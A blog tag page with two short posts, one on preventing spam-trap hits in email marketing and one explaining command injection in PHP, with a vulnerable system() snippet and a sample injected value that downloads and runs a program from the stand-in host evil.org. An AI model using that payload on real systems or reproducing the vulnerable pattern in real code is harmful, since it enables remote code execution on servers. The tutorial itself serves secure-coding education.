Posts Tagged ‘preventation

Common Problems Associated with Spam Traps and its Preventation

Spam traps are email addresses activated for the sole purpose of catching illegitimate email and identifying senders with poor data quality practices. Internet Service Providers (ISPs) and anti-spam organizations create and manage spam trap networks and use spam traps,

Common Problems Associated with Spam Traps

  1. Return Path studies have shown that one spam trap can reduce your Sender Score more than 20 points and can decrease your inbox placement rates to 81% and lower.
  2. ISPs will lower your sending reputation for too many spam trap hits.
  3. Mailing IPs and/or domains may become blacklisted.
  4. Membership in the Return Path Certification Program may be suspended for exceeding the acceptable thresholds defined within the compliance standards.

Preventing Spam Traps

  1. Reject requests for malformed addresses (i.e. me@hotmai.lcom).
  2. Reject abuse@ and postmaster@ addresses.
  3. Reject role accounts (i.e. sales@company.com, customerservice@company.com).
  4. Send Welcome/Confirmation email messages and use a confirmed or double option process to validate newly acquired email addresses before adding them to your file. It is best practice to use a separate IP space and monitor spam trap rates.
  5. Having multiple pages or CAPTCHA during the subscription process aids in preventing list poisoning.
  6. Provide a change of email address option in all emails, in a preference center and at the point of unsubscribe.
  7. Do not purchase, rent or lease email addresses from third parties or perform email appends on your files.
  8. Isolate and monitor “Import Address Book” and “Forward to a Friend” mail streams on separate IPs and sub-domains to identify spam traps and protect your other email programs. These types of features commonly collect old email addresses that have likely been converted into spam traps.

Tags : , , , , , , ,

Command Injection and its preventation

A successful command injection attack gives the attacker complete control of the remote system. When user input is used as part of a system command, an attack may be able to inject system commands into the user input. This can happen in any programming language; however, it is very common in Perl, PHP, and shell based CGI. It is less common in Java, Phython, and C#. Consider the following PHP code snippet:

<?php

$email_subject = “some subject”;

if ( isset($_GET{‘email’}))

{

system(“mail ” + $_GET{‘email’}) + ” -s ‘” + $email_subject +”‘ < /tmp/email_body”, $return_val);

}

?>

The user sends his or her e-mail address in the email parameter, and that user input is placed directly into a system command. Like SQL injection, the goal of the attacker is to inject a shell command into the email parameter while ensuring that the code before and after the email parameter is syntactically correct. Consider the system() call as a puzzle. The outer puzzle pieces are in place, and the attacker must find a puzzle piece in the middle to finish it off:

mail [MISSING PUZZLE PIECE] –s ‘some subject’ < /tmp/email_body

The puzzle piece needs to ensure that the mail command runs and exits properly. For example, mail –help will run and exit properly. Then the attacker could add additional shell commands by separating the commands with semicolons (;). Dealing with the puzzle piece on the other side is as simple as commenting it out with the shell comment symbol (#). Thus, a useful puzzle piece for the email parameter might be this:

–help; wget http://evil.org/attack_program; ./attack_program #

Adding this puzzle piece to the puzzle creates the following shell command:

mail –help; wget http://evil.org/attack_program;

./attack_program # s ‘some subject’ < /tmp/email_body

This is equivalent to this:

mail –help; wget http://evil.org/attack_program; ./attack_program

This runs mail –help and then downloads attack_program from evil.org and executes it, allowing the attacker to perform arbitrary commands on the vulnerable web site.

Preventing Command Injection

Preventing command injection is similar to preventing SQL injection. The developer must escape the user input appropriately before running a command with that input. It may seem like escaping semicolon (;) to backslash-semicolon (\;) would fix the problem. However, the attacker could use double-ampersand (&&) or possibly double-bar (||) instead of the semicolon. The escaping routine is heavily dependent on the shell executing the command. So developers should use an escape routine for the shell command rather than creating their own routine.

 

Tags : , , , , , , , , , , , , , ,